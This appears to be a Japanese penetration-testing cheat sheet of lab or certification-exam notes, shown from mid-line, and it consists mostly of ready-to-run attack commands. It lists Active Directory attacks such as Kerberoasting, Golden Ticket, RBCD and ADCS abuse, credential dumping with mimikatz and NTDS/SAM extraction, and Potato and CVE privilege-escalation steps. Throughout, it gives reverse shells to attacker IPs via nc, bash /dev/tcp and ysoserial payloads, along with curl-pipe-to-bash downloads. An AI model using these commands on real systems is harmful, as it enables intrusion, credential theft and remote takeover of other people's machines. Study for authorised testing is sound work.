. .\Invoke-RunasCs.ps1 or Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username [ユーザ名] -Password [パスワード] -Command "[コマンド]"
LAPS
MicrosoftのLocal Administrator Password Solutionはパスワード管理機能
C:\Program Files配下
コマンド
ldapsearch -x -H ldap://192.168.140.122 -D '[ユーザ名]@[ドメイン]' -w '[パスワード]' -b 'dc=[ドメイン]' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
PrivescCheck
コマンド
wget https://github.com/itm4n/PrivescCheck/releases/latest/download/PrivescCheck.ps1
powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck"
RBCD攻撃(リソースベースの制約付き委任)
コマンド
攻撃の流れと解説
①偽のコンピューターアカウントを作成(SeMachineAccountPrivilege権限必要)
impacket-addcomputer [ドメイン]/[ユーザ名] -dc-ip [IP] -hashes :[NTLMHASH] -computer-name '[任意]$' -computer-pass '[任意]'
②RBCDの設定
https://github.com/tothi/rbcd-attack/blob/master/rbcd.py?source=post_page-----b3a50d40664b---------------------------------------
python3 rbcd.py -dc-ip [IP] -t [対象ホスト名] -f [作成した偽マシン$] -hashes 00000000000000000000000000000000:[NTLMHASH] [ドメイン]\\[ユーザ名]
③Administratorのサービスチケットを取得
impacket-getST -spn cifs/[対象ホスト名].[ドメイン] [ドメイン]/[作成した偽マシン$]:'[パスワード]' -impersonate administrator -dc-ip [IP]
④Kerberos チケットを環境変数に設定
export KRB5CCNAME=$(pwd)/administrator@~.ccache
⑤チケットでのアクセス
sudo impacket-psexec -k -no-pass [対象ホスト名].[ドメイン] -dc-ip [IP]
No quotes and Space detected
コマンド
サービス情報の取得
Get-WmiObject -Class Win32_Service | Select-Object Name, PathName, State
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-CimInstance -ClassName win32_service | Select Name,StartName,State,PathName | Where-Object {$_.State -like 'Running'}
バイナリのアクセス権確認
icacls "C:\Program Files\XXX.exe"
F (Full access):ファイルやフォルダの読み取り、書き込み、実行、および変更が可能。
M (Modify access): ファイルやフォルダの読み取り、書き込み、実行、およびその内容の変更が可能、完全削除不可。
RX (Read and execute access):ファイルやフォルダの読み取りおよび実行が可能、内容の変更や新たな書き込みは不可。
R (Read-only access):ファイルやフォルダの読み取りのみが可能で、内容の変更や実行は不可。
W (Write-only access):ファイルやフォルダへの書き込みのみが可能で、既存の内容を読み取ることは不可。
既存のバイナリ置き換えの例
move "C:\Program Files\もともとのファイル" "C:\Program Files\もともとのファイル.old"
サービスの再起動
net stop サービス名
net start サービス名
レジストリ
コマンド
レジストリ(バックアップではsystem32\config配下)
reg save HKLM\sam sam
reg save HKLM\SYSTEM system
impacket-secretsdump -sam sam -system system LOCAL
PowerUp
コマンド
. .\PowerUp.ps1
Get-ModifiableServiceFile
Get-UnquotedService
Invoke-AllChecks
PowerView
コマンド
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
menu
Get-NetDomain
Get-NetUser
Get-DomainUser
Get-DomainUser | select cn
Get-NetGroup | select name
Get-NetGroupMember -MemberName "domain admins" -Recurse | select MemberName
Get-NetUser -SPN #Kerberoastableなユーザ
Get-NetUser -SPN | select serviceprincipalname #Kerberoastableなユーザ
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Find-LocalAdminAccess
パスワード変更
Set-DomainUserPassword -Identity '[ユーザ名]' -AccountPassword $UserPassword -Credential $Cred
うまくいかない場合
Set-ADAccountPassword -Identity "[ユーザ名]" -NewPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force)
gMSAによるパスワード窃取(AD環境)
コマンド
※サービスアカウント等が対象
.\GMSAPasswordReader.exe --accountname '[ユーザ名、$なし]'
https://github.com/expl0itabl3/Toolies
AS-REP Roasting
コマンド
ターゲットで実行
.\Rubeus.exe asreproast /nowrap
kaliから実行
impacket-GetNPUsers -dc-ip [IP] -request -outputfile [ファイル名] [ドメイン]/[ユーザ]
※上記のコマンドでdatetimeのようなエラーが出る場合
/etc/ntpsec/ntp.confに以下を末尾に追加
server [同期先のIP] iburst
追記後サービス再起動
sudo systemctl restart ntp
上記のいずれかの出力$krb~の値をファイルに保存し以下を実行
sudo hashcat -m 18200 [対象ファイル] /usr/share/wordlists/rockyou.txt
nxcによる確認
nxc ldap [IP] -u [ユーザ名] -p '[パスワード]' --asreproast output.txt
Kerberoasting
コマンド
ターゲットで実行
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
kaliから実行
sudo impacket-GetUserSPNs -request -dc-ip [IP] [ドメイン]/[ユーザ]
上記のいずれかの出力$krb~の値をファイルに保存し以下を実行
sudo hashcat -m 13100 [対象ファイル] /usr/share/wordlists/rockyou.txt
nxcによる確認
nxc ldap [IP] -u [ユーザ名] -p '[パスワード]' --kerberoasting output.txt
GenericWriteを確認したら
python3 targetedKerberoast.py -v -d '[ドメイン名]' -u '[ユーザ名]' -p '[パスワード]' --dc-ip [IP]
Get-SPN.ps1(Kerberoasting)
コマンド
Get-SPN.ps1の取得先
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1?source=post_page-----b95d3146cfe9---------------------------------------
powershell -ExecutionPolicy bypass
.\Get-SPN.ps1
上記で確認できたアカウントに対してKerberosチケットの要求トークンを作成
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '[ユーザ名]/[DCホスト名]'
hashの抽出
1. Invoke-Kerberoastの利用
.\Invoke-Kerberoast.ps1
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1?source=post_page-----b95d3146cfe9---------------------------------------
2.Rubeusの利用
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
3.hash解析
hashcat -m 13100 [ハッシュ値のファイル] rockyou.txt --force
Golden Ticket
コマンド
impacket-ticketer -aesKey [krbtgt:aes256-cts-hmac-sha1-96の値] \
-domain-sid [PowerView:Get-DomainSID -domain ドメイン名の値] \
-domain [ドメイン] \
-extra-sid [PowerView:Get-DomainTrustのSID] \
administrator -extra-pac
※extra-sidについて
PowerView以外での取得方法
impacket-lookupsid -domain-sids [ドメイン]/[ユーザ]:[パスワード]@[IP]
またはenum4linuxでも取得可能
また、SID移行-XXXはグループIDなので500等の指定でも可
/etc/hostsの編集
対象ドメインのレコードを記載
kaliにて
$ export KRB5CCNAME=administrator.ccache
impacket-psexec '[ドメイン名]/administrator@[ホスト名]' -k -no-pass
BloodHound
コマンド
kaliの元々のSharpHound.exeはBloodHoundと互換性がない(?)ようで、ZIPファイルをBloodHoundにアップロードできませんでした。
その為、外部で公開されているSharpHoundをダウンロードして使用する。
BloodHound初期化作業
MATCH (n) DETACH DELETE n・・・データベースのクリア(RAW Query内)
bloodhound.pyの使用(リモートから実施)
sudo bloodhound-python -d [ドメイン] -u [ユーザ名] -p '[パスワード]' -c all -ns [DCのIP] --zip
出力された7つのjsonをまとめる
zip test.zip *.json
sharphound.exe
.\Sharphound.exe --CollectionMethods All --Domain [ドメイン] --ExcludeDCs --OutputPrefix "[文字列]"
※別のユーザを指定して実行する方法
./SharpHound.exe -c All -DomainController [DCのIP] --domain [ドメイン] --ldapusername [ユーザ名] --ldappassword [パスワード]
sharphound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
bloodhound・・・Bloodhoundの起動
Invoke-BloodHound -CollectionMethod All -OutputDirectory
その他コマンド
MATCH (m:Computer) RETURN m
MATCH (m:Users) RETURN m
Docker環境のBloodhound起動
docker ps -a
docker start bloodhound-app-db-1
docker start bloodhound-graph-db-1
docker start bloodhound-bloodhound-1
ADCSの脆弱性列挙
コマンド
certipy-ad find -u "[ユーザ名]" -p '[パスワード]' -dc-ip [IP] -stdout -vulnerable
※この出力にCAの名前やテンプレート名が含まれている。
Administratorの証明書取得
certipy-ad req -username "[ユーザ名]" -p "[パスワード]" -template [テンプレート名] -dc-ip [IP] -ca [CA名] -upn 'Administrator@ドメイン'
TGT取得/NTLMハッシュ取得
certipy-ad auth -pfx [証明書] -domain [ドメイン] -username administrator -dc-ip [IP]
LDAPシェル
certipy-ad auth -pfx [証明書] -dc-ip [IP] -ldap-shell
add_user eviluser
add_user_to_group eviluser "Domain Admins"
SharpGPOAbuse
コマンド
0.前提
GPOの管理者権限があること
※PowerViewのGet-NetGPOでポリシー名を確認
1.ソースコードのダウンロード
https://github.com/FSecureLABS/SharpGPOAbuse
2.ビルド
VisualStudioで「ビルド」ー「ソリューションのビルド」
※CommandLine.dllが同じディレクトリ上に必要になる為、.NET Frameworkをあわせてビルドする。
ソリューションエクスプローラ内「プロジェクト」(2行目)を右クリック、「プロパティ」-「アプリケーション」より変更
3.CommandLine.dllのダウンロード
.\nuget.exe install CommandLineParser -Version 2.9.1 -OutputDirectory .\packages
4.GPO設定(NCでリバースシェル取得の例)
>.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "Administrator" --Command "cmd.exe" --Arguments "/c c:\temp\nc.exe [IP] [ポート] -e cmd.exe" --GPOName "Default Domain Policy" --Force
impacket-GetUserSPN
コマンド
sudo impacket-GetUserSPNs -request -dc-ip [DC-IP] [ドメイン]/[ユーザ名]
※ユーザのパスワードが必要
出力されたHASHをそのまま保存
$krb5tgs$23$*~
sudo hashcat -m 13100 [保存したファイル] /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
PrintSpoofer
コマンド
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd
内部探索
コマンド
補足:ルーティングテーブル確認
ip route show
sudo ip route del 172.17.0.0/16
ligoloインターフェースの作成・ルーティング追加
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.10.182.0/24 dev ligolo
エージェント起動(ターゲット上)
./agent.exe -connect [IP]:11601 -ignore-cert
サーバ起動
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
リスナー追加
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp
NTDS
SeBackupPrivilegeの権限がある場合のNTDS.DITの取得方法
コマンド
-----script.txt-----
set verbose onX
set metadata C:\\Windows\\Temp\\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
-----script.txt-----
diskshadow /s script.txt
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\Users\jackie\ntds.dit.bak
robocopy /b E:\Windows\ntds . ntds.dit
※systemも取得して実行
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Potato
コマンド
SigmaPotato
.\SigmaPotato.exe "nc64.exe 192.168.45.233 4444 -e cmd.exe"
GodPotato
.\GodPotato.exe -cmd "C:\temp\nc.exe xx.xx.xx.xx -e cmd"
https://github.com/BeichenDream/GodPotato/releases?source=post_page-----400b88403a71---------------------------------------
.\SigmaPotato "net user testuser Password123! /add"
ユーザ作成&グループ追加
.\SigmaPotato "net user testuser Password123! /add"
.\SigmaPotato "net localgroup Administrators testuser /add"
JuicyPotato
32bitアーキテクチャの場合
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
https://github.com/ivanitlearning/Juicy-Potato-x86/releases/tag/1.2
コマンド例
.\Juicy.Potato.x86.exe -t * -p rev.exe -l 1338 -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}
https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/
SeRestorePrivilege
コマンド
utilman.exeの悪用例
get-childitem -path C:\\Windows\\System32\\ -include utilman.exe -file -recurse -erroraction silentlycontinue
mv C:\\Windows\\System32\\Utilman.exe C:\\Windows\\System32\\Utilman.old
mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe
mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe
mv C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe
rdesktop [IP]
ログインの画面でwin+Uしコマンドプロンプト起動
その他:SeRestoreAbuse.exe
mimikatz
コマンド
powershell -ep bypass・・・mimikatz実行前
privilege::debug
token::elevate
sekurlsa::msv
lsadump::sam
sekurlsa::logonpasswords
※表示がおかしくなる時の対応:ワンライナー
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
サービスの確認(DLLハイジャック等)
コマンド
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}・・・サービスの確認コマンド
Restart-Service "[サービス名]"・・・サービス再起動
sc create [サービス名] binPath="[exeのパス]" start=auto・・・サービス作成
Powershell実行履歴
コマンド
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PowerView
コマンド
. ./PowerView.ps1
Get-NetUser | select cn
PuTTYから認証情報を取得する
コマンド
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
exploit
CVE-2022-0847
Link
CVE-2022-0847-DirtyPipe-エクスプロイト
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
CVE-2025-32463
コマンド
sudo versions 1.9.14~1.9.17
https://github.com/KaiHT-Ladiant/CVE-2025-32463/tree/main
Mobile Mouse 9099/tcp open unknown
コマンド
python3 51010.py --target [IP] --file [ファイル] --lhost [自身のIP]
※8080でWebサーバの立ち上げが必要
※うまくいかない場合は以下
https://github.com/KryoCeph/Mobile-Mouse-3.6.0.4-Exploit/blob/main/1-MMUpload.py
vesta 8083/tcp open us-srv
コマンド
https://ssd-disclosure.com/ssd-advisory-vestacp-multiple-vulnerabilities/
上記のサイトからvestaATO.py、VestaFuncs.py、vestaROOT.pyをコピー
python3 vestaROOT.py https://[IP]:8083 [ユーザ名] [パスワード]
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library
コマンド
1.前準備
gcc -g -c raptor_udf2.c -fPIC -o raptor_udf2.o
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
2.SQL操作
USE mysql;
CREATE TABLE foo(line LONGBLOB);
INSERT INTO foo VALUES (LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO dumpfile '/usr/lib/mysql/plugin/udf_file_name.so';
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
SELECT do_system('id');
※dumpfileがうまくいかないとき
mysql> \! cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin/
参考サイト
https://www.exploit-db.com/exploits/1518
https://github.com/ankh2054/MySQL-UDF/blob/master/raptor_udf2.c
https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/
CVE-2015-5602 (Sudo version 1.8.14以下)
コマンド
ln -s /etc/sudoers /home/test/any/file
sudoedit /home/test/any/file
以下を末尾に追加
samantha ALL=(ALL) NOPASSWD: ALL
CVE-2017-5618 setuid screen v4.5.0 LPE
コマンド
kaliで実行
sudo git clone https://github.com/YasserREED/screen-v4.5.0-priv-escalate.git
cd screen-v4.5.0-priv-escalate
sudo chmod +x exploit.sh
./exploit.sh
targetで実行
cd /tmp
wget [kaliのIP]/libhax.so
wget [kaliのIP]/rootshell
chmod +x libhax.so
chmod +x rootshell
cd /etc || exit 1
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
CVE-2024-51757(happy-dom)
コマンド
リモートで実行
echo "chmod 4777 /bin/bash" > /tmp/pwn
chmod +x /tmp/pwn
echo "<script src=\"https://192.168.45.178:80/'+require('child_process').execSync('/tmp/pwn')+'\"></script>" > /tmp/pwn.html
リモート側でhappy-domを含むコードを実行
※kali側はHTTPサーバ起動のみ
jdwp
コマンド
python2 jdwp-shellifier.py -t [RHOST] -p [RPORT] --cmd 'busybox nc [IP] [PORT] -e bash'
https://github.com/IOActive/jdwp-shellifier
jdb -attach [IP]:[PORT]・・・接続コマンド
その他
Windows関連
コマンド
certutil -urlcache -split -f http://[IP]/[ファイル名] C:\Users\
"d08c9ddf0115d1118c7a00c04fc297eb"(DPAPIによる暗号化)を含む文字列の複合
コマンド
※暗号化したマシンでしか複合できない
$pw = Get-Content [文字列を含むファイル] | ConvertTo-SecureString
$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
$UnsecurePassword
PowerShell操作系
コマンド
powershell -c Invoke-WebRequest -Uri [URL] -OutFile [ファイル名]
iwr -uri http://[IP]/[ファイル名] -OutFile [出力先パスファイル名]
Get-ChildItem -Path . -Filter *.txt | ForEach-Object { Get-Content $_.FullName }・・・ディレクトリ内のテキストファイルの内容一括表示
powershell -ep bypass
Set-ExecutionPolicy Unrestricted
(Get-WmiObject Win32_ComputerSystem).PartOfDomain・・・ドメイン参加かどうか
(Get-WmiObject Win32_ComputerSystem).Domain・・・ドメイン名
sc.exe start [サービス名]・・・Powershellによるサービス起動
certutil -urlcache -split -f http://192.168.45.184/SigmaPotato.exe C:\Users\chris\SigmaPotato.exe
Linux関連
コマンド
cat /etc/passwd | grep bash・・・bashのあるユーザを確認
tcpdump -ni [インタフェース名] [プロトコル]
bash -i >& /dev/tcp/[IPアドレス]/[ポート] 0>&1
busybox nc [IP] [ポート] -e bash
open .・・・ターミナルのカレントディレクトリでエクスプローラ起動
mlocate
コマンド
※グループ:119(mlocate)
cp /var/lib/mlocate/mlocate.db ./
ファイルのハッシュ値/形式
コマンド
file
sha256sum ファイル名
md5sum ファイル名
certutil -hashfile ファイル名 SHA256・・・Windows
mysql
コマンド
mysql -u [ユーザ名] -p
※パスワードは上記コマンド実行後に入力
show databases;
use [DB名];
show tables;
FTP
コマンド
ftp> passive off
ftp> open <IP> <port>
ftp> get <file>
※ftpはcdで移動できる場合がある
※ファイルの一括取得
mask ""
recurse ON
prompt OFF
mget *
※passiveモード
passive
※バイナリモード
bin(通常ASCIIモードだが、これはテキスト専用、エラーが出る)
匿名アクセスはftpの場合もある
ln
コマンド
シンボリックリンク作成
ln -sf [実際のファイル、リンク先] [リンク名]
SCP
コマンド
※リモートからファイルを取得
scp [リモートユーザ]@[リモートIP]:[コピー元、リモートホストのファイルパス] [ローカルのコピー先パス]
※ローカルのファイルを送信
scp [送りたいローカルファイル] [リモートユーザ]@[リモートIP]:[リモートパス]
※Windowsの例
scp [ユーザ名]@[IP]:C:/~ ./
echoで簡易的なスクリプト作成(複数行)
コマンド
echo -e '#!/bin/bash\n\n[1行目のコード]\n[2行目のコード]' > [ファイル名]
pngファイル作成
コマンド
convert -size 800x600 xc:black [ファイル名]
exeファイルに対して
コマンド
strings [exeファイル]
Java
Javaの安全ではないデシリアライゼーション
コマンド
java -jar ysoserial-all.jar CommonsCollections4 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP] [PORT] >/tmp/f" > 対象のファイル
Java16以降
echo 'sh -i >& /dev/tcp/192.168.45.155/445 0>&1' |base64
java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
-jar ./ysoserial-all.jar CommonsCollections4 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xNTUvNDQ1IDA+JjEK}|{base64,-d}|{bash,-i}" > [対象ファイル]
Python
ファイル授受関係
コマンド
python -m http.server 8000
python3 -m uploadserver・・・ファイルのアップロードは/uploadに行う。
python3 -c "import requests;requests.post(\"[URL]/upload\",files={\"files\":open(\"[ファイルパス]",\"rb\")})"
curl -X POST [URL]/upload -H -F 'files=@[ファイル名]'
シェルのアップグレード
コマンド
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL +Z
stty raw -echo;fg
reset
※sh-4.2$
script /dev/null -c bash
export TERM=xterm
Ctrl + z
stty raw -echo ; fg
仮想環境操作関係
コマンド
python3 -m venv myenv
source ~/mypy/bin/activate
pip3 install openai
deactivate
リバースシェル
python
#!/usr/bin/env python
import os
import sys
os.system('/bin/nc [IP] [PORT] -e /bin/sh')
ncで出力のやり取り
コマンド
nc -l [ポート] | tee [出力ファイル]・・・データ待ち受け側
[実行したいコマンド] | nc [IPアドレス] [ポート]・・・データ出力側
自身がコンテナにいるか確認する方法
コマンド
cat /proc/1/cgroup
※ルートディレクトリに.dockerenvがあればコンテナ環境上にいる。
抜けるときはCtrl+p-Ctrl+q
find系
Windows
コマンド
dir /s /b [ファイル名検索キーワード、例:*.config]
※ファイル名の探索
findstr /SIM /C:"[検索したいキーワード]" *.ini *.cfg * .config *.xml *.txt
※カレントディレクトリ配下の検索、ファイルに含まれる文字列の検索
Get-ChildItem -Path C:\ -Include [キーワード] -File -Recurse -ErrorAction SilentlyContinue
where /r c:\ [ファイル名]
dir 探したいファイル・フォルダ名 /s /p
dir /aで隠しファイル含め表示
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
レジストリ探索
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
reg query HKLM /f "[キーワード]" /t REG_SZ /s
※キーワードを含むレジストリの探索、REG_SZは文字列を対象
Linux
コマンド
locate *.txt
find / -name *.txt 2>/dev/null
grep -rn "キーワード"
grep "<\!--"
grep -rl "キーワード" .・・・「.」は始点、ファイルの中身の探索
sudo ifconfig tun0 mtu 1250
grep -Hn "[キーワード]" *
※カレントディレクトリ配下のファイルの中身を対象にキーワード検索
grep --color=always -r -i "pass".
curl
コマンド
curl http://[IP]/shell.sh | bash・・・即実行
curl -OL ファイルのURL
O:ファイル出力
L:リダイレクトを追跡
curl [IP]/[ファイル名] -o [出力先パス&ファイル名]
HTTP0.9対応
curl --http0.9 [IP:PORT] --output -
キャッシュ使用しない
curl -v -H 'Cache-Control: no-cache' [URL]
script
コマンド
script -a -f [ファイルパス]
※exitで終了
runas
コマンド
runas /user:[ユーザ名] cmd
SSHの接続作成
コマンド
※kaliにて
ssh-keygen
cat id_rsa.pub
※上記の結果をコピー
※ターゲットマシンで
mkdir /home/ユーザ名/.ssh
echo "ssh-rsa AAAAB3Nz ---SNIP--- +EC1Hg/Cm/V6CRrHM= kali@kali" > /home/ユーザ名/.ssh/authorized_keys
※kaliで
ssh -i id_rsa ユーザ名@ターゲットマシンのIP
※必要に応じて
chmod -R 600 .ssh/
エラー対応等
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
Disconnected from 127.0.0.1 port 22
上記のエラー発生時
ssh-add -D
Python仮想環境
コマンド
python3 -m venv myenv
source myenv/bin/activate
deactivate
pip install -r requirements.txt
※作り直すとき
rm -rf ~/mypy
jarファイル
コマンド
jd-gui
base64
コマンド
echo -n “encoded text” | base64 -d
echo "{md5}"/bin/echo -n "testpass" | openssl dgst -binary -md5 | openssl enc -base64
例:{md5}X03MO1qnZdYdgyfeuILPmQ==
sed
コマンド
[xxx]:xxxの抽出コマンド例
sed -n 's/\[\([^]]\)\].*/\1/p'
AWK
コマンド
awk -F'[][]' '{print $[フィールド番号]}' [ファイル名]
※$1[$2]$3[$4]$5みたいな文字列を対象
awk -F'[セパレータ文字]' '{print $[フィールド番号]}'
KaliからのRDP接続
コマンド
xfreerdp /u:[USERNAME] /p:[PASSWORD] /f +fonts +clipboard /v:[IP]
- /tls-seclevel:0 /timeout:80000(TLS系のエラーが出た時)
- /size:640x480(画面のサイズ)
xfreerdp /u:[USERNAME] /v:[IP] /pth:[ハッシュ値] /cert:ignore /sec:ntlm・・・ハッシュ値でアクセス
xfreerdp /u:[ユーザ名] /v:[IP] /d:[ドメイン名] /drive:home,/home/kali/oscp・・・kaliのフォルダを共有設定
IMAP接続
コマンド
a login [ユーザ名] [パスワード]
a list "" "*"
a select INBOX
a fetch body[]
POP接続
コマンド
- USER [ユーザー名]
- PASS [パスワード]
- LIST
zip
コマンド
zip2john target.zip | cut -d ":" -f 2 > target.hash
hashcat -m 13600 -a 0 target.hash
7z x target.zip
unzip target.zip
https://www.iestudy.work/entry/2020/11/20/215526
tar
コマンド
tar -xzvf XX.tar.gz
keepass
コマンド
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
keepass2john Database.kdbx > keepass.hash
keepass.hashの先頭「database」を消す
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt
kaliに含まれるスクリプト等
コマンド
1.PHPのリバースシェル
cp /usr/share/webshells/php/php-reverse-shell.php ./
空のMP3作成
コマンド
ffmpeg -f lavfi -i anullsrc=r=44100:cl=stereo -t 5 -q:a 9 -acodec libmp3lame silent.mp3
dockerでmake
コマンド
GLIBCの確認
ldd --version
lsb_release -a
docker起動
docker pull ubuntu:20.04
docker run -it -v /home/kali/oscp/pg/codo:/home/ ubuntu:20.04 /bin/bash
docker run -it -v /home/kali/oscp/pg/codo:/home/ ubuntu:20.04 /bin/bash
apt update && apt install -y build-essential
gcc: error trying to exec ‘cc1’
コマンド
リモートホスト上でgcc失敗時に改善する場合あり
gcc root.c -o libmalbec.so -shared -fPIC -w
gcc: error trying to exec ‘cc1’: execvp: No such file or directory
export PATH="/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:."
行き詰ったら、ヒントなど
検索
表示されるエラーメッセージをGoogleで検索する。
Base64文字列の内、「H4sIA」で始まるものはgzip圧縮されたデータである可能性が高い
SSRFではローカルマシンへのアクセスやリモートマシン自身を指定して挙動を見る
オンラインツール
- https://crackstation.net/
- https://www.tunnelsup.com/hash-analyzer/
- https://hashtoolkit.com/
- https://www.boxentriq.com/code-breaking/cipher-identifier
参考サイト
- https://zenn.dev/iestudy/scraps/3173cfc42888eb
- https://web.archive.org/web/20200901140719/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://book.hacktricks.xyz/v/jp/welcome/readme
- https://gtfobins.github.io/
- https://github.com/GTFOBins/GTFOBins.github.io ・・・Pull Requestも確認
- https://book.hacktricks.xyz/
- https://github.com/RoqueNight/Linux-Privilege-Escalation-Basics ・・・Linux Priv
- https://book.hacktricks.xyz/v/jp/windows-hardening/active-directory-methodology
- https://wadcoms.github.io/
- https://github.com/pentestmonkey
- https://www.revshells.com/
Discussion